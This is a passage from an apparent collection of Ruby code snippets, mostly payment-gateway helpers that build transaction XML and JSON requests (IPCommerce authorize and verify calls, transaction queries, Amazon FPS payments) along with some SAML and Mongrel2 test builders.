xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for returnUnlinkedXML!\"\n end\n end", "def queryTransactionsDetailJSON(params)\n begin\n { \n :TransactionDetailFormat => 'CWSTransaction',\n :PagingParameters => { \n :Page => 0, \n :PageSize => 10\n },\n :QueryTransactionsParameters => { \n :Amounts => nil,\n :ApprovalCodes => nil,\n :BatchIds => batch_ids(params),\n :CaptureDateRange =>nil,\n :CaptureStates => nil,\n :TransactionIds => mul_trd(params),\n :MerchantProfileIds => nil,\n :CardTypes => nil,\n :IsAcknowledged=> \"false\",\n :OrderNumbers => nil,\n :QueryType => \"OR\",\n :ServiceIds => nil,\n :ServiceKeys => nil,\n :TransactionClassTypePairs=> nil,\n :TransactionDateRange=> transaction_date_range(params),\n :TransactionStates => nil,\n },\n :IncludeRelated => 'false' \n }.to_json\n rescue Exception => ex\n return \"Some value not set in querytransactiondetail, batchid, transactionid or transactiondates!\"\n end\n end", "def xml\n @xml ||= begin\n builder = ::Builder::XmlMarkup.new(:indent => 4)\n\n authed_xml_as_string(builder) do\n builder.GetReceiptInfoCall do\n builder.ReceiptFilter do\n builder.ReceiptId(id)\n end\n end\n end\n end\n end", "def get_single_transaction_query(params = {})\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"id\"] = params[:transaction_id]\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"stq\" \r\n end", "def get_single_transaction_query(params = {})\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"id\"] = params[:transaction_id]\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"stq\" \r\n end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def build_request_xml(function, param, extra = nil)\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?>\\n\"\n xml << \"<dados>\\n\"\n xml << \" <usuario>#{@user}</usuario>\\n\"\n xml << \" <senha>#{@password}</senha>\\n\"\n xml << \" <funcao>#{function}</funcao>\\n\"\n xml << \" <param>#{param}</param>\\n\"\n xml << \" <param2>#{extra}</param2>\\n\" if extra\n xml << \" <retorno>#{RETURN_FORMATS[@format]}</retorno>\\n\"\n xml << \"</dados>\"\n xml\n end", "def transaction_with_http_info(txid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.transaction ...'\n end\n # verify the required parameter 'txid' is set\n if @api_client.config.client_side_validation && txid.nil?\n fail ArgumentError, \"Missing the required parameter 'txid' when calling DefaultApi.transaction\"\n end\n # resource path\n local_var_path = '/api/v1/transaction'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'txid'] = txid\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Transaction' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#transaction\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def sale(params = {})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'SALE'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @api = \"bp10emu\"\r\n end", "def to_xml\n xml = String.new\n builder = Builder::XmlMarkup.new(:target => xml, :indent => 2)\n \n # Xml instructions (version and charset)\n builder.instruct!\n \n builder.source(:primary => primary_source) do\n builder.id(id, :type => \"integer\")\n builder.uri(uri.to_s)\n end\n \n xml\n end", "def sale(params = {})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'SALE'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @PARAM_HASH['CUST_TOKEN'] = params[:customer_token] if params[:customer_token]\r\n @api = \"bp10emu\"\r\n end", "def Return(params={})\n Return.new(params)\n end", "def get_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '0'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end", "def get_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '0'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n\t@PARAM_HASH[\"BACKEND_ID\"] = params[:backend_id] if params[:backend_id]\r\n\t@PARAM_HASH[\"ORIGIN\"] = params[:origin] if params[:origin]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end", "def query_by_transaction_id(trans_id)\n @PARAM_HASH[\"id\"] = trans_id;\n end", "def transactionById\n results = HTTParty.get(\"http://192.168.99.101:4050/transactions/\" + (params[:id]).to_s)\n render json: results.parsed_response, status: results.code\n end", "def verifyXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id #'14560'\n xml.MerchantProfileId merchant_profile_id #'PrestaShop Global HC'\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType]\n xml['ns1'].CardholderName params[:CardholderName]\n # xml['ns1'].PAN params[:PAN] #'4111111111111111'\n # xml['ns1'].Expire params[:Expire]\n # xml['ns1'].Track1Data('i:nil' =>\"true\")\n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].CardSecurityData{\n xml['ns1'].AVSData{\n xml['ns1'].CardholderName('i:nil' =>\"true\") \n xml['ns1'].Street params[:Street]\n xml['ns1'].City params[:City]\n xml['ns1'].StateProvince params[:StateProvince]\n xml['ns1'].PostalCode params[:PostalCode]\n xml['ns1'].Phone params[:Phone]\n xml['ns1'].Email params[:Email]\n }\n xml['ns1'].CVDataProvided 'Provided'\n xml['ns1'].CVData params[:CVData]\n xml['ns1'].KeySerialNumber('i:nil' =>\"true\")\n xml['ns1'].PIN('i:nil' =>\"true\") \n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\")\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD')\n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2014-04-03T13:50:16') \n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n if params[:Track2Data].present? || params[:Track1Data].present?\n xml['ns1'].EntryMode params[:EntryMode]\n else\n xml['ns1'].EntryMode 'Keyed'\n end \n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InvoiceNumber('i:nil' =>\"true\")\n xml['ns1'].OrderNumber('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n } \n }\n }\n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for verifyXML!\"\n end\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'ID' => id, 'Version' => version, 'IssueInstant' => issue_instant.in_time_zone.xmlschema}\n attributes['InResponseTo'] = in_response_to unless in_response_to.nil?\n attributes['Destination'] = destination unless destination.nil?\n attributes['Consent'] = consent unless consent.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:Response', attributes) {\n xml << issuer.to_xml unless issuer.nil?\n xml << signature.to_xml unless signature.nil?\n # TODO: add extensions support\n xml << status.to_xml unless status.nil?\n assertions.each { |assertion| xml << assertion.to_xml }\n encrypted_assertions.each { |encrypted_assertion| xml << encrypted_assertion.to_xml }\n }\n end", "def query_by_transaction_id(trans_id)\r\n @PARAM_HASH[\"id\"] = trans_id\r\n end", "def query_by_transaction_id(trans_id)\r\n @PARAM_HASH[\"id\"] = trans_id\r\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n xml.tag!('samlp:AssertionIDRequest') {\n assertion_id_refs.each { |assertion_id_ref| xml << assertion_id_ref.to_xml }\n }\n end", "def transaction_id\n params['x_trans_id']\n end", "def to_xml\n response\n end", "def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end", "def reserve(params)\n AmazonProcessor.validate_reservation_response params\n raise PreconditionsError, 'Payment state should be :created' unless payment.created?\n r_amount = Remit::RequestTypes::Amount.new ({value: payment.amount, currency_code: 'USD'})\n caller_ref = new_caller_reference\n request = Remit::Reserve::Request.new ({\n recipient_token_id: recipient_token,\n sender_token_id: params[:tokenID],\n caller_reference: caller_ref,\n transaction_amount: r_amount,\n charge_fee_to: 'Caller'\n })\n\n response = remit.reserve(request)\n\n raise ApiInteractionError, response.errors.join('; ') unless response.errors.empty?\n\n update_attribute :transaction_id, response.reserve_result.transaction_id\n update_attribute :caller_reference, caller_ref\n payment.update_attribute :state, :reserved\n end", "def to_xml(opts={})\n { :name => self.controller_name,\n :parameters => self.queryable_params,\n :identifier => self.xml_identifier\n }.to_xml(opts.merge(:root => \"resource\"))\n end", "def retrieve(params = {})\n req = WebPay::ChargeIdRequest.create(params)\n raw_response = @client._request(:get, 'charges' + '/' + req.id.to_s, req)\n WebPay::ChargeResponse.new(raw_response)\n end", "def transaction_id\n params['x_trans_id']\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def make_url(params) #:nodoc:\n params[:key] = @key\n params[:output] = 'xml'\n\n super params\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def get_transactions(*params); raise('Stub or mock required.') end", "def hash_xml(xml, params)\n params.each do |key, value|\n xml = xml_key_value(key, value, xml)\n end\n xml\n end", "def to_xml(*)\n self\n end", "def pay\n #@CallerTokenId = params['CallerTokenId']\n #@RecipientTokenId = params['RecipientTokenId']\n #@SenderTokenId = params['SenderTokenId']\n #@Amount = params['Amount']\n\n call = { 'Action' => 'Pay',\n \t\t# tokens\n \t\t'CallerTokenId' => @CallerTokenId,\n \t\t'SenderTokenId' => @SenderTokenId,\n \t\t'RecipientTokenId' => @RecipientTokenId,\n\t\t\n \t\t# transactions details ### NOTE: Complex types are sent like this. #####\n \t\t'TransactionAmount.Amount' => @Amount, \n \t\t'TransactionAmount.CurrencyCode' => 'USD', \n \t\t'TransactionDate' => Time.now.gmtime.iso8601, # example result: 2007-05-10T13:08:02\n \t\t'ChargeFeeTo' => 'Recipient', #this must match the true/false value from the recipient token\n\t\t\n \t\t# references - unique transaction values\n \t\t'CallerReference' => 'Order-' + Time.now.to_i.to_s, # required unique value for each pay call\n \t\t'SenderReference' => 'Test Sender reference string', # optional unique reference for the sender\n \t\t'RecipientReference' => 'Test Recipient reference string' # optional unique reference for the recipient\n }\n # make the REST call \n\t\t@fps_response = AWS::FPS::Query.do(call)\n\t\trexml_doc = REXML::Document.new(@fps_response)\n\t\telements = rexml_doc.root.elements\n @xml_out = pretty_xml(rexml_doc)\n\t\t@status = elements[\"Status\"].text\n\t\t@request_id = elements[\"RequestId\"].text\n\t\t@success = false\n\t\tif @status == \"Success\"\n\t\t @success = true\n\t\t @TransactionId = elements[\"TransactionResponse\"].elements['TransactionId'].text\n\t\tend\n end", "def generate_xml\n\t\n\t\tbuilder = Nokogiri::XML::Builder.new do |xml|\n \t\t\txml.randomGeneratedData {\n \t\t\txml.parameters(nbStations: @inputs.nb_stations, nbDemands: @inputs.nb_demands)\n xml.stations {\n @list_stations.each do |s|\n\t\t\t\t\t\t\txml.station(\n\t\t\t\t\t\t\t\tid: s.id, \n\t\t\t\t\t\t\t\txPos: s.xPos, \n\t\t\t\t\t\t\t\tyPos: s.yPos,\n\t\t\t\t\t\t\t\tmaxSize: s.maxSize\n\t\t\t\t\t\t\t)\n end\n }\n \t\t\t\txml.demands {\n @list_demands.each do |d|\n \t\t\t\t\t\txml.demand(\n\t\t\t\t\t\t\t id: d.id,\n\t\t\t\t\t\t\t\tidsOrigin: d.sOrigin.id, \n\t\t\t\t\t\t\t\tidsDestination: d.sDestination.id, \n\t\t\t\t\t\t\t\tnbDemand: d.nbDemand,\n\t\t\t\t\t\t\t\tdepartureTime: d.departureTime_TS,\n\t\t\t\t\t\t\t\tarrivalTime: d.arrivalTime_TS\n \t\t\t\t\t\t)\n end\n \t\t\t\t}\n \t\t\t}\n\t\tend\n\t\t\n\t\treturn builder.to_xml\n\tend", "def create(params)\n m = type.create(params)\n @id = m.id\n puts \" + #{type}: #{params.inspect} => #{@id}\"\n m\n end", "def get_payment_detail(attributes = {})\n ::Nokogiri::XML::Builder.new(:encoding => \"utf-8\") do |xml|\n xml.send(\"soapenv:Envelope\", \"xmlns:soapenv\" => \"http://schemas.xmlsoap.org/soap/envelope/\", \"xmlns:v1\" => \"http://gpe.cz/pay/pay-ws/proc/v1\", \"xmlns:type\" => \"http://gpe.cz/pay/pay-ws/proc/v1/type\") {\n xml.send(\"soapenv:Header\")\n xml.send(\"soapenv:Body\") {\n xml.send(\"v1:getPaymentDetail\") {\n xml.send(\"v1:paymentDetailRequest\") {\n xml.send(\"type:messageId\", attributes[:message_id])\n xml.send(\"type:provider\", \"0100\")\n xml.send(\"type:merchantNumber\", attributes[:merchant_number])\n xml.send(\"type:paymentNumber\", attributes[:order_number])\n xml.send(\"type:signature\", attributes[:digest])\n }\n }\n }\n }\n end.to_xml\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\treturn \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\tend", "def authorizeXML(params) \n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end \n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n 